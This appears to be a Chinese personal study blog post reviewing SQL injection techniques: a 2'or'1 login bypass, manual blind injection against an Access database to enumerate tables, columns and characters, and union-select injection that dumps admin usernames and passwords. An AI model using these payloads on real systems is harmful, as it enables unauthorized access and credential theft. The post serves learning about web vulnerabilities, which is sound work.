预计阅读4分钟
本文1488字13图
一提到SQL语句就想到了期末数据库考试的时候,那俩监考老师,哎,不说了,还好咱们数据库老师大发慈悲
昨天把去年学习的一些东西可以说重新复习了一边,又有了新的理解与感悟,记录如下:
2、万能密码的构造
i、首先了解到其后台查询SQL语句为【select user_id,user_type,emailfrom user where user_id='用户名'and '密码'】
ii、于是我们输入用户名【admin】和密码【2’or’1】时,脚本引擎构造SQL语句为【selectuser_id,user_type,email from user where user_id = 'admin' and '2' or '1'】
iii、由于SQL中【=】优先级高于【and】高于【or】,又因为布尔型【 or '1' 】恒成立,因此此式恒成立,因此成功进入后台界面
3、手工注入access数据库
i、判断是否存在SQL注入漏洞
输入【'】数据库出错,说明【'】被提交至了数据库进行解析
接着输入【and 1=1 】页面正常显示,输入【and 1=2 】页面报错,说明存在SQL注入漏洞
ii、知道存在SQL注入漏洞后就可以通过构造SQL查询语句判断后台数据库中存在的表、列、字段了
输入【and exists (select * from admin)】若正常显示,说明存在admin表
输入【and exists (select admin from admin)】若正常显示,说明存在admin列,同理,可以判断出来后台数据库中存在的表、列
输入【and (select top 1 len(admin) from admin)=5】若正常显示,说明admin表中admin列中第一个字段存在5个字符
输入【and(select top 1 asc(mid(admin,1,1)) from admin)=97】若正常显示,说明amdin表中admin列中第一个字段的第一个字目的ascii码为97,即这个字母为a.
同理,就可以得到后台数据库中存储的表、列、字段数据
iii、当然也可以直接使用现成的工具,比如这个:
4、手工联合查询注入
i、输入【order by 12】判断列中字段数量是否等于或小于12个字段,不断更改order by 后面的数字,判断出后台列中字段的数量
ii、输入【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】联合查询爆出后台数据库中存在的字段名
iii、此时输入【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即看到了admin表中测试列中的字段数据
—— 完 ——
本人菜鸟一枚,难免有疏漏之处,还望大佬勿喷